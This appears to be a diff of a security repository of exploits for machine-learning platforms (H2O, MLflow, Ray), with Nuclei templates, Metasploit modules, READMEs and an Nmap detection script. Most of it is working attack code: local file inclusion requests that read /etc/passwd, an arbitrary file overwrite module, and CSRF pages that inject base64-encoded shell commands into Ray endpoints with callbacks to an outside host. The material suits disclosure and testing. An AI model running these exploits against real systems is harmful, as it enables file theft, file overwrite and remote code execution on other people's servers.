||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "X-H2o-Build-Project-Version"
|
||||
- "X-H2o-Cluster-Good"
|
||||
- "X-H2o-Cluster-Id"
|
||||
- "X-H2o-Rest-Api-Version-Max"
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "H2O Flow"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
|
@ -0,0 +1,37 @@
|
|||
id: h2o-importfiles-lfi
|
||||
|
||||
info:
|
||||
name: H2O ImportFiles LFI
|
||||
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: high
|
||||
description: H2O is vulnerable to an local file include in it's ImportFiles API endpoint
|
||||
reference:
|
||||
- https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
|
||||
classification:
|
||||
cvss-score: 8.6
|
||||
cve-id: CVE-2023-6038
|
||||
cwe-id: CWE-29
|
||||
tags: h2o-3,h2o,ml,cve,protectai,huntr
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /3/ParseSetup HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
|
@ -0,0 +1,50 @@
|
|||
id: h2o-pojo-import-rce
|
||||
|
||||
info:
|
||||
name: H2O RCE via POJO Model import
|
||||
author: Sierra Bearchell (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: critical
|
||||
description: RCE in H2O dashboard by (ab)using it's POJO Model import feature
|
||||
reference:
|
||||
- https://huntr.com/bounties/83dd17ec-053e-453c-befb-7d6736bf1836/
|
||||
classification:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2023-6018
|
||||
cwe-id: CWE-78
|
||||
tags: h2o-3,h2o,cve,ml,protectai,huntr
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /3/ModelBuilders/generic/parameters HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51
|
||||
|
||||
- |
|
||||
POST /3/ModelBuilders/generic/parameters HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51&path=http%3A%2F%2F93{{interactsh-url}}
|
||||
|
||||
- |
|
||||
POST /3/ModelBuilders/generic/parameters HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51&path=http%3A%2F%2F93{{interactsh-url}}
|
||||
|
||||
- |
|
||||
POST /3/ModelBuilders/generic HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51&path=http%3A%2F%2F93{{interactsh-url}}
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms http Interaction
|
||||
words:
|
||||
- "http"
|
|
@ -0,0 +1,47 @@
|
|||
# MLflow Vulnerabilities and Exploits
|
||||
|
||||
## Overview
|
||||
MLflow is an open-source platform for managing the end-to-end machine learning lifecycle. It includes tools for tracking experiments, packaging code into reproducible runs, and sharing and deploying models. By default, MLflow lacks authentication.
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
### Arbitrary File Write
|
||||
|
||||
- **Description**: MLflow is vulnerable to unauthorized file writes through its artifact logging API. This can be exploited by an attacker to write files to arbitrary locations on the server hosting MLflow.
|
||||
- **Impact**: This vulnerability could allow an attacker to overwrite system files or place malicious files on the server, potentially leading to code execution or other malicious activities. Example would be overwriting the SSH keys to gain access to the server.
|
||||
|
||||
### LFI (Local File Inclusion)
|
||||
|
||||
- **Description**: MLflow's API for retrieving model versions and registered models does not properly sanitize user input, leading to LFI vulnerabilities. This allows an attacker to read files from the server's filesystem.
|
||||
- **Impact**: Attackers can exploit this to read sensitive files from the server, potentially leading to information disclosure and system compromise.
|
||||
|
||||
## Utilities
|
||||
|
||||
### Metasploit Modules
|
||||
|
||||
- **mlflow_file_write**: Exploits the arbitrary file write vulnerability to write files on the server.
|
||||
|
||||
### Nuclei Templates
|
||||
|
||||
- **mlflow-file-write**: Scans for vulnerabilities that allow unauthorized file writes in MLflow.
|
||||
- **mlflow-model-versions-lfi**: Detects Local File Inclusion vulnerabilities in MLflow's model versions endpoint.
|
||||
|
||||
## Reports
|
||||
|
||||
- **@DanMcInerney** - https://huntr.com/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
|
||||
- **@kevin-mizu** - https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
|
||||
- **Sierra Haex** - https://huntr.com/bounties/3e64df69-ddc2-463e-9809-d07c24dc1de4/
|
||||
- **@haxatron** - https://huntr.com/bounties/43e6fb72-676e-4670-a225-15d6836f65d3/
|
||||
- **@DanMcInerney** - https://huntr.com/bounties/ae92f814-6a08-435c-8445-eec0ef4f1085/
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||
|
||||
## Contribution
|
||||
|
||||
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||
|
||||
## License
|
||||
|
||||
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,181 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
import random
|
||||
import string
|
||||
import json
|
||||
import socket
|
||||
import threading
|
||||
from http.server import SimpleHTTPRequestHandler, HTTPServer
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Request, Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'MLFlow arbitrary file overwrite',
|
||||
'description': '''
|
||||
MLFlow before X is vulnerable to a arbitrary file overwrite.
|
||||
''',
|
||||
'authors': [
|
||||
'Kevin Mizu <@kevin_mizu>'
|
||||
'byt3bl33d3r <marcello@protectai.com>',
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/'},
|
||||
{'type': 'cve', 'ref': 'CVE-2023-6018'}
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'localfilepath': {'type': 'string', 'description': 'Local path with content to overwrite on target (cannot be used with filecontents option)', 'required': False, 'default': None},
|
||||
'remotefilepath': {'type': 'string', 'description': 'File to overwrite', 'required': True, 'default': '/tmp/HACKED'},
|
||||
'filecontents': {'type': 'string', 'description': 'File content to overwrite (cannot be used with localfilepath option)', 'required': False, 'default': None},
|
||||
'serverport': {'type': 'port', 'description': 'HTTP server port to bind to', 'required': True, 'default': 4444},
|
||||
#'serverip': {'type': 'string', 'description': 'HTTP server ip to bind to', 'required': True, 'default': socket.gethostbyname(socket.gethostname()) },
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 5000},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them to their correct types manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
class MLFlowExploitRequestHandler(SimpleHTTPRequestHandler):
|
||||
MSF_ARGS = None
|
||||
#def __init__(self, msf_args, *args, **kwargs) -> None:
|
||||
# self.msf_args = msf_args
|
||||
# logging.info(f"Started HTTP Server")
|
||||
# super().__init__(args, kwargs)
|
||||
|
||||
@property
|
||||
def url(self):
|
||||
return urlparse(self.path)
|
||||
|
||||
def do_GET(self):
|
||||
payload = {
|
||||
"files": [
|
||||
{
|
||||
"path": MLFlowExploitRequestHandler.MSF_ARGS["remotefilepath"],
|
||||
"is_dir": False,
|
||||
"file_size": 50
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.end_headers()
|
||||
|
||||
if '/api/2.0/mlflow-artifacts/artifacts' == self.url.path:
|
||||
|
||||
logging.info("Received callback for file path")
|
||||
self.wfile.write(json.dumps(payload).encode())
|
||||
else:
|
||||
logging.info("Received callback for file contents")
|
||||
self.wfile.write(MLFlowExploitRequestHandler.MSF_ARGS["filecontents"].encode())
|
||||
|
||||
def random_model_name_generator():
|
||||
return ''.join(random.choice(string.ascii_letters) for _ in range(6))
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
if not args['localfilepath'] and not args['filecontents']:
|
||||
logging.error('localfilepath or filecontents options must be specified')
|
||||
return
|
||||
|
||||
model_name = random_model_name_generator()
|
||||
|
||||
server_ip = socket.gethostbyname(socket.gethostname())
|
||||
server_port = args['serverport']
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
|
||||
logging.info(f"Creating model '{model_name}'")
|
||||
|
||||
r = requests.post(f"{base_url}/ajax-api/2.0/mlflow/registered-models/create", json={"name": model_name})
|
||||
logging.debug(r.text)
|
||||
|
||||
logging.info(f"Associating remote artifact source with model '{model_name}'")
|
||||
r = requests.post(
|
||||
f"{base_url}/ajax-api/2.0/mlflow/model-versions/create",
|
||||
json={"name": model_name, "source": f"http://{server_ip}:{server_port}/api/2.0/mlflow-artifacts/artifacts/"}
|
||||
)
|
||||
logging.debug(r.text)
|
||||
|
||||
r = requests.post(
|
||||
f"{base_url}/ajax-api/2.0/mlflow/model-versions/create",
|
||||
json={"name": model_name, "source": f"models:/{model_name}/1"}
|
||||
)
|
||||
logging.debug(r.text)
|
||||
|
||||
MLFlowExploitRequestHandler.MSF_ARGS = args
|
||||
server = HTTPServer(
|
||||
(server_ip, server_port),
|
||||
MLFlowExploitRequestHandler
|
||||
)
|
||||
|
||||
logging.info(f"Starting HTTP Server on {server_ip}:{server_port}")
|
||||
server_thread = threading.Thread(target=server.serve_forever)
|
||||
server_thread.daemon = True
|
||||
server_thread.start()
|
||||
|
||||
logging.info("Triggering artifact download")
|
||||
r = requests.get(
|
||||
f"{base_url}/model-versions/get-artifact",
|
||||
params={"path": "random", "name": model_name, "version": 2}
|
||||
)
|
||||
|
||||
logging.debug(r.text)
|
||||
|
||||
if r.status_code == 500:
|
||||
logging.info(f"Exploit might have succeeded. Status: {r.status_code}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,50 @@
|
|||
id: mlfdlow-arbitrary-file-write
|
||||
|
||||
info:
|
||||
name: Mlflow Arbitrary File Write via model-versions API endpoint
|
||||
author: kevin_mizu (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: critical
|
||||
description: An attacker can overwrite arbitrary files in MLFlow via it's model-versions API
|
||||
reference:
|
||||
- https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
|
||||
classification:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2023-6018
|
||||
cwe-id: CWE-29
|
||||
tags: mlflow,ml,cve,huntr,protectai
|
||||
|
||||
variables:
|
||||
model_name: "{{rand_text_alpha(6)}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{"name": "{{model_name}}"}
|
||||
|
||||
- |
|
||||
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{"name": "{{model_name}}", "source": "http://{{interactsh-url}}/api/2.0/mlflow-artifacts/artifacts/"}
|
||||
|
||||
- |
|
||||
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{"name": "{{model_name}}", "source": "models:/{{model_name}}/1"}
|
||||
|
||||
- |
|
||||
GET /model-versions/get-artifact?path=random&name={{model_name}}&version=2 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms http Interaction
|
||||
words:
|
||||
- "http"
|
|
@ -0,0 +1,47 @@
|
|||
id: mlflow-model-versions-lfi
|
||||
|
||||
info:
|
||||
name: MLFlow LFI via model-versions API endpoint
|
||||
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: high
|
||||
description: MLFlow is vulnerable to a LFI via it's model-versions API endpoint
|
||||
reference:
|
||||
- https://huntr.com/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
|
||||
classification:
|
||||
cvss-score: 9.3
|
||||
cve-id: CVE-2023-1177
|
||||
cwe-id: CWE-29
|
||||
tags: mlflow,ml,cve,protectai,huntr
|
||||
|
||||
variables:
|
||||
experiment_name: "{{rand_text_alpha(6)}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{"name": "{{experiment_name}}"}
|
||||
|
||||
- |
|
||||
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{"name": "{{experiment_name}}", "source": "file:///etc"}
|
||||
|
||||
- |
|
||||
GET /model-versions/get-artifact?path=passwd&name={{experiment_name}}&version=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
|
@ -0,0 +1,70 @@
|
|||
# AI Services Detection Nmap Script
|
||||
|
||||
## Overview
|
||||
|
||||
This Nmap script is designed to detect various Artificial Intelligence (AI) services running on web servers. It performs HTTP requests to the root directory and specific endpoints, identifying services by looking for unique strings in the responses.
|
||||
|
||||
## Features
|
||||
|
||||
- Scans common web service ports as well as custom AI service ports.
|
||||
- Provides links to a repository for potential exploits for identified services.
|
||||
- Identifies the following AI services:
|
||||
- MLflow
|
||||
- Ray Dashboard
|
||||
- H2O Flow
|
||||
- Kubeflow
|
||||
- ZenML
|
||||
- Triton Inference Server
|
||||
- Kedro
|
||||
- BentoML
|
||||
- TensorBoard
|
||||
- ZenML
|
||||
- MLRun
|
||||
- MLServer
|
||||
- Weights & Biases
|
||||
- Aim
|
||||
- Neptune
|
||||
- Prefect
|
||||
|
||||
## Usage
|
||||
|
||||
Place the script in the `scripts` directory of your Nmap installation. Then, run Nmap with the `--script` option, specifying the name of this script.
|
||||
|
||||
```bash
|
||||
nmap --script ai-tools.nse -p80,443,4141,4200,5000,5001,8000,8001,8080,8081,8237,8265,8888,43800,54321,54322 <target>
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the system you wish to scan.
|
||||
|
||||
## Output
|
||||
|
||||
The script will output a message for each detected AI service, including a URL to check for known exploits.
|
||||
|
||||
Example output for a detected service:
|
||||
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
8080/tcp open http syn-ack
|
||||
| ai-services-detection:
|
||||
| MLflow service found!
|
||||
|_ Check https://github.com/ProtectAI/AI-exploits for exploits.
|
||||
```
|
||||
|
||||
## Script Requirements
|
||||
|
||||
- Nmap: 7.80 or higher
|
||||
- Lua libraries: `http`, `shortport`, `stdnse`
|
||||
|
||||
## Author
|
||||
|
||||
@DanMcInerney
|
||||
|
||||
## License
|
||||
|
||||
This script is released under the same license as Nmap. For more information, see [Nmap's legal documentation](https://nmap.org/book/man-legal.html).
|
||||
|
||||
## Categories
|
||||
|
||||
- `safe`
|
||||
- `discovery`
|
||||
```
|
|
@ -0,0 +1,86 @@
|
|||
local http = require "http"
|
||||
local shortport = require "shortport"
|
||||
local stdnse = require "stdnse"
|
||||
|
||||
description = [[
|
||||
Performs an HTTP request to the root directory ("/") and "/v2/logging" on specified ports, checks the responses for specific strings, and identifies services based on these strings.
|
||||
]]
|
||||
|
||||
author = "Your Name"
|
||||
|
||||
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
||||
|
||||
categories = {"safe", "discovery"}
|
||||
|
||||
portrule = shortport.port_or_service({4141, 4200, 5000, 5001, 8265, 8237, 54321, 54322, 43800, 80, 443, 8080, 8000, 8888, 8001, 8081}, {"http", "http-alt", "https", "https-alt"})
|
||||
|
||||
action = function(host, port)
|
||||
local results = {}
|
||||
local aiServiceFound = false
|
||||
|
||||
-- Check root directory
|
||||
local response = http.get(host, port, "/")
|
||||
if response then
|
||||
if response.status and (response.status == 200 or response.status == 301 or response.status == 302) then
|
||||
if response.body then
|
||||
if response.body:find("<title>MLflow") then
|
||||
table.insert(results, "MLflow service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Ray Dashboard") then
|
||||
table.insert(results, "Ray Dashboard service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>H2O Flow") then
|
||||
table.insert(results, "H2O Flow service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Kubeflow") then
|
||||
table.insert(results, "Kubeflow service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>TensorBoard") then
|
||||
table.insert(results, "TensorBoard service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>ZenML") then
|
||||
table.insert(results, "ZenML service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>MLRun") then
|
||||
table.insert(results, "MLRun service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>MLServer") then
|
||||
table.insert(results, "MLServer service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Weights ") then
|
||||
table.insert(results, "Weights & Biases service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Aim</title>") then
|
||||
table.insert(results, "Aim service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Neptune") then
|
||||
table.insert(results, "Neptune service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Prefect") then
|
||||
table.insert(results, "Prefect service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Kedro") then
|
||||
table.insert(results, "Kedro service found!")
|
||||
aiServiceFound = true
|
||||
elseif response.body:find("<title>Bento") then
|
||||
table.insert(results, "BentoML service found!")
|
||||
aiServiceFound = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Check /v2/logging if no other AI service was found
|
||||
if not aiServiceFound then
|
||||
local log_response = http.get(host, port, "/v2/logging")
|
||||
if log_response and log_response.status and (log_response.status == 200) and log_response.body and log_response.body:find('"log_file":') then
|
||||
table.insert(results, "Triton Inference Server service found!")
|
||||
end
|
||||
end
|
||||
|
||||
if #results > 0 then
|
||||
return stdnse.format_output(true, results)
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# Ray Vulnerabilities and Exploits
|
||||
|
||||
## Overview
|
||||
Ray is an open-source framework that allows for distributed training of machine learning models. Ray is designed to scale transparently from running on a single machine to large clusters and includes a web interface for ease of use. By default, Ray lacks authentication.
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
### CSRF (Cross-Site Request Forgery)
|
||||
|
||||
- **Description**: Ray's web interface may not implement proper CSRF protections, which could allow attackers to craft malicious web pages that, when visited by a logged-in user, could perform unauthorized actions on the web interface.
|
||||
- **Impact**: An attacker could leverage CSRF vulnerabilities to execute commands, control jobs, or alter the state of the Ray cluster without the user's consent.
|
||||
|
||||
### RCE (Remote Code Execution)
|
||||
|
||||
- **Description**: Certain endpoints or features within Ray may be susceptible to RCE, allowing an attacker to execute arbitrary code on the cluster's nodes.
|
||||
- **Impact**: If exploited, this could grant an attacker full control over the Ray cluster, potentially leading to data leakage, service disruption, or further exploitation of internal network resources.
|
||||
|
||||
### LFI (Local File Inclusion)
|
||||
|
||||
- **Description**: The Ray framework may include functions that improperly handle file paths, allowing attackers to include files located elsewhere on the server.
|
||||
- **Impact**: This vulnerability can lead to the disclosure of sensitive information if system files or other files with sensitive data are read.
|
||||
|
||||
### SSRF (Server-Side Request Forgery)
|
||||
|
||||
- **Description**: Ray may be vulnerable to SSRF attacks where an attacker could abuse the functionality of the server to read or update internal resources.
|
||||
- **Impact**: Attackers may leverage SSRF to send requests to internal systems behind the firewall which are not accessible from the external network.
|
||||
|
||||
## Utilities
|
||||
|
||||
### Metasploit Modules
|
||||
|
||||
- **ray_cpuprofile_cmd_injection**: Exploits command injection vulnerabilities within Ray's CPU profiling endpoints.
|
||||
- **ray_job_rce**: Targets Remote Code Execution vulnerabilities in Ray's job submission features.
|
||||
- **ray_lfi_static_file**: Utilizes Local File Inclusion vulnerabilities to read static files from the Ray server.
|
||||
|
||||
### CSRF Templates
|
||||
|
||||
- **ray-cmd-injection-csrf.html**: Demonstrates CSRF vulnerabilities that can lead to command injection in Ray.
|
||||
- **ray-job-rce-csrf.html**: Shows how CSRF can be used to achieve Remote Code Execution by submitting a job in Ray.
|
||||
|
||||
### Nuclei Templates
|
||||
|
||||
- **ray-cpuprofile-cmd-injection**: Identifies command injection flaws in Ray's CPU profiling features.
|
||||
- **ray-job-rce**: Scans for Remote Code Execution vulnerabilities within Ray's job management system.
|
||||
- **ray-log-lfi**: Identifies Local File Inclusion vulnerabilities via log files in Ray.
|
||||
- **ray-static-lfi**: Detects Local File Inclusion vulnerabilities within static file serving in Ray.
|
||||
|
||||
## Reports
|
||||
|
||||
- **Sierra Haex & @DanMcInerney**: https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/
|
||||
- **@DanMcInerney**: https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
|
||||
- **@DanMcInerney**: https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||
|
||||
## Contribution
|
||||
|
||||
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||
|
||||
## License
|
||||
|
||||
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,22 @@
|
|||
<html>
|
||||
<!-- Ray cpu_profile cmd injection CSRF PoC -->
|
||||
<body>
|
||||
<script>
|
||||
fetch("http://127.0.0.1:8265/nodes?view=summary", {
|
||||
"headers": {
|
||||
"accept": "application/json, text/plain, */*",
|
||||
},
|
||||
"method": "GET",
|
||||
"mode": "cors",
|
||||
}).then(x => x.json())
|
||||
|
||||
fetch("http://127.0.0.1:8265/worker/cpu_profile?pid={{pid}}&ip={{node_ip}}&duration=5&native=0&format=%60echo%20cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldDtzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgiY2t0YmVlNm5yMmt0Y3Y2c2ZkMjBxdDZjNGQ1bXh1cHdhLm9hc3QuZnVuIikn|base64$IFS-d|sh%60", {
|
||||
"headers": {
|
||||
"accept": "application/json, text/plain, */*",
|
||||
},
|
||||
"method": "GET",
|
||||
"mode": "no-cors",
|
||||
}).then(x => x.json())
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,16 @@
|
|||
<html>
|
||||
<!-- Ray Agent RCE CSRF PoC -->
|
||||
<body>
|
||||
<script>
|
||||
fetch("http://127.0.0.1:8265/api/jobs/", {
|
||||
"headers": {
|
||||
"accept": "application/json, text/plain, */*",
|
||||
"content-type": "application/json",
|
||||
},
|
||||
"body": "{\"entrypoint\": \"echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldDtzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgiY2t0YmVlNm5yMmt0Y3Y2c2ZkMjBxdDZjNGQ1bXh1cHdhLm9hc3QuZnVuIikn|base64$IFS-d|sh\"}",
|
||||
"method": "POST",
|
||||
"mode": "no-cors",
|
||||
}).then(x => x.text())
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,129 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Request, Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Ray cpu_profile command injection',
|
||||
'description': '''
|
||||
Ray RCE via cpu_profile command injection vulnerability.
|
||||
The advanced option MeterpreterTryToFork needs to be set to true for this to work.
|
||||
''',
|
||||
'authors': [
|
||||
'sierrabearchell',
|
||||
'byt3bl33d3r <marcello@protectai.com>'
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'},
|
||||
{'type': 'cve', 'ref': 'CVE-2023-6019'}
|
||||
],
|
||||
'type': 'remote_exploit_cmd_stager',
|
||||
'targets': [
|
||||
{'platform': 'linux', 'arch': 'x64' },
|
||||
{'platform': 'linux', 'arch': 'x86'},
|
||||
{'platform': 'linux', 'arch': 'aarch64'} #'default_options': { 'MeterpreterTryToFork': True} } ??
|
||||
],
|
||||
'payload': {
|
||||
'command_stager_flavor': 'wget',
|
||||
},
|
||||
'options': {
|
||||
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': "echo 'Hello from Metasploit'"},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8265},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
